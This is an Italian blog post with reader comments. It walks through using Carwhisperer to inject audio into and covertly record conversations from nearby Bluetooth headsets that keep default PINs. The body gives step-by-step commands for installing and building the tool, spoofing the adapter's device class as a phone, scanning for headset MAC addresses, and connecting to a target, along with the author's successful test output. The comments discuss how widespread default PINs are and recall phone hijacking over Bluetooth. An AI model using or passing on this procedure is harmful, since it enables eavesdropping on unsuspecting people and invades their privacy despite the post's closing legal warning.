Sniffare conversazioni da un Headset Bluetooth

In rete ho trovato un video molto interessante che spiega come “iniettare” un messaggio audio registrato da noi verso un auricolare bluetooth..e di “catturare” le conversazioni che vi intercorrono.
Non e’ una grossa novita’, perche’ tutto l’howto si basa su Carwhisperer..un noto programma che consente di “sniffare” traffico da un auricolare bluetooth, o un device con gli stessi servizi SCO:
[youtube 1c-jzYAH2gw]
Il mio inglese vacilla, ma da quanto ho capito il procedimento e’ molto semplice. Ecco quello di cui abbiamo bisogno
Le dipendenze per compilare Carwhisperer sono:
sudo apt-get install libbluetooth-dev libkbluetooth-dev
Scarichiamo il programma dalla Homepage:
Estraiamo il tarball nella /home:
tar xvfz carwhisperer-0.2.tar.gz
cd ~/carwhisperer-0.2
Controlliamo alcune informazioni sul nostro device:
hciconfig
hci0: Type: USB
BD Address: 00:0A:94:01:9D:D1 ACL MTU: 384:8 SCO MTU: 64:8
UP RUNNING PSCAN ISCAN
RX bytes:1838154 acl:116 sco:35948 events:154 errors:0
TX bytes:2155 acl:73 sco:0 commands:59 errors:0
NB: Naturalmente a noi dovranno uscire due devices: computer 1 e computer 2.
Il giochetto funziona solo se il PIN contenuto in /etc/bluetooth e’ 0000 oppure 1234 (il pin che utilizzano di default parecchi devices).
Controlliamo la classe del dispositivo:
hciconfig hci0 class
hci0: Type: USB
BD Address: 00:0A:94:01:9D:D1 ACL MTU: 384:8 SCO MTU: 64:8
Class: 0×180104
Service Classes: Capturing, Object Transfer
Device Class: Computer, Desktop workstation
In molti headset, l’inject o il capture, funzionano solo se la classe del dispositivo e’ impostata su Phone, quindi:
NB: Copiamoci la classe attuale per reinserirla a prova finita!
sudo hciconfig hci0 class 0x50204
hci0: Type: USB
BD Address: 00:0A:94:01:9D:D1 ACL MTU: 384:8 SCO MTU: 64:8
Class: 0×050204
Service Classes: Positioning, Rendering
Device Class: Phone, Cellular
Ora non dobbiamo fare altro che connetterci con carwhisperer all’headset remoto. Per rilevare il MAC addres dell’headset basta lanciare:
hcitool scan
Scanning …
00:0F:DE:AE:13:2B HBH-600
Ora compiliamo il programma, dalla directory dei sorgenti, con:
cd ~/carwhisperer-0.2
make
Qui arriva la parte che non ho ben compreso. Per iniettare il nostro file audio sull’headset remoto basta lanciare il programma con:
./carwhisperer hci0 in.raw out.raw 00:0F:DE:AE:13:2B
In realta’ , a quanto afferma l’autore, e’ possibile connettersi da remoto all’headset, senza che sia in atto alcuna attivita’ altrimenti il canale sarebbe occupato..credo. Cosi’ possiamo registrare attraverso il microfono dell’headset stesso tutte le conversazioni che riusciamo a catturare nell’ambiente!
Ed e’ proprio cosi’ che si chiude il video, mentre la dimostrazione pratica si riferisce all’injection (peccato..ehehe).
Tutte le altre informazioni dovrebbero comunque essere ben spiegate nel file README di Carwhisperer, dove troviamo anche come generare un file .WAV dai nostri file .RAW. Esempio – Per generare un file audio da una registrazione:
sox -t raw -r 8000 -c 1 -s -w
La prova che ho effettuato e’ andata a buon fine:
dyve@kubuntu:~/Desktop/carwhisperer-0.2$ ./carwhisperer hci0 test.raw out.raw 00:0F:DE:AE:13:2B
Voice setting: 0×0060
RFCOMM channel connected
Effettivamente ho ricevuto una specie di “trillo” telefonico dall’auricolare dell’headset.
Inutile ripetere che queste cose si fanno tra le nostre mura domestiche, a meno che non abbiate voglia di farvi beccare a registrare le conversazioni della gente al bar o mentre sosta con l’auto davanti al passaggio a livello. Le pene sono molto severe.
Il tuo indirizzo ip:
50.17.109.248
Commenti via Facebook:












Geniale! Complimenti per l’ottimo articolo
LedQuota
solo un pirla lascerebbe il pin a 0000
lucaQuota
sai quanti pirla ci sono al mondo?
IlTremendoQuota
Lavoro in un negozio di telefonia e vi posso garantire che il 100% delle persone ha il Pin di base (che puo’ essere 0000, 00000, 1234, 01234, 12345)…
buon divertimento :p
CisoQuota
Scusando l’ignoranza…ma stiamo parlando del pin della sim oppure del pin del bluetooth (che se esiste, neanche ne conoscevo l’esistenza) ?
LedQuota
100% mi sembra eccessivo,diciamo che in molti lasciano i codici di sicurezza di base, ignari di certe cose;-)
MalteseQuota
@Led
il pin del bluetooth..per il pairing
divilinuQuota
Perfetto, anche io quindi faccio parte della categoria dei pirla
Addirittura no ne conoscevo neanche l’esistenza !
LedQuota
Ma perchè…è possibile cambiare il pin dell’auricolare?
rawQuota
@raw
no, di default e’ 0000 o 1234 appunto..ma il file PIN dentro /etc/bluetooth puo’ essere modificato per effettuare un pairing con un pin diverso da 0000-1234, impostato anche sul cellulare ad esempio..
divilinuQuota
Inutile dire che l’articolo è interessante sotto moltissimi aspetti…
Una sola cosa va detta, io non posso cambiare il pin del mio auricolare quindi rimarrà sempre di default… insomma non sono io il pirla, io sono la vittima!!!
CristianQuota
@Cristian
Quando ho il kbluetooth abilitato e viene rilevata una richiesta di accoppiamento, si apre una dialog dove devi digitare il codice..sia esso 0000 che 1234..me ne accorgerei e non accetterei l’accoppiamento
divilinuQuota
Questa non è l’unica cosa che si può fare tramite bluetooth se mi ricordo bene qualche anno fa lessi un intera guida su come impossessarsi di un cellulare che aveva bluetooth attivo e utilizzarlo per fare telefonate mandare sms leggere la rubrica e utilizzarlo come modem, il tutto tramite un portatile con linux sopra
@divilinu su alcuni modelli è possibile bypassare la richiesta del codice… è capitato a me in un bar dove mi sono trovato una foto in un messaggio lanciato tramite bt e senza che mi avesse fatto richiesta dello stesso, il mio cell. è il vecchio mattoncino della nokia 7650
GreenRabbitQuota
Ciao, ho provato a fare la procedura, ma ho un problema:
il programma si blocca sempre dopo che lancio il comando con questo messaggio:
Can’t connect RFCOMM channel!: Address already in use
Non riesco in nessun modo a risolverlo.
Qualcuno mi può aiutare?
Grazie
MarcoQuota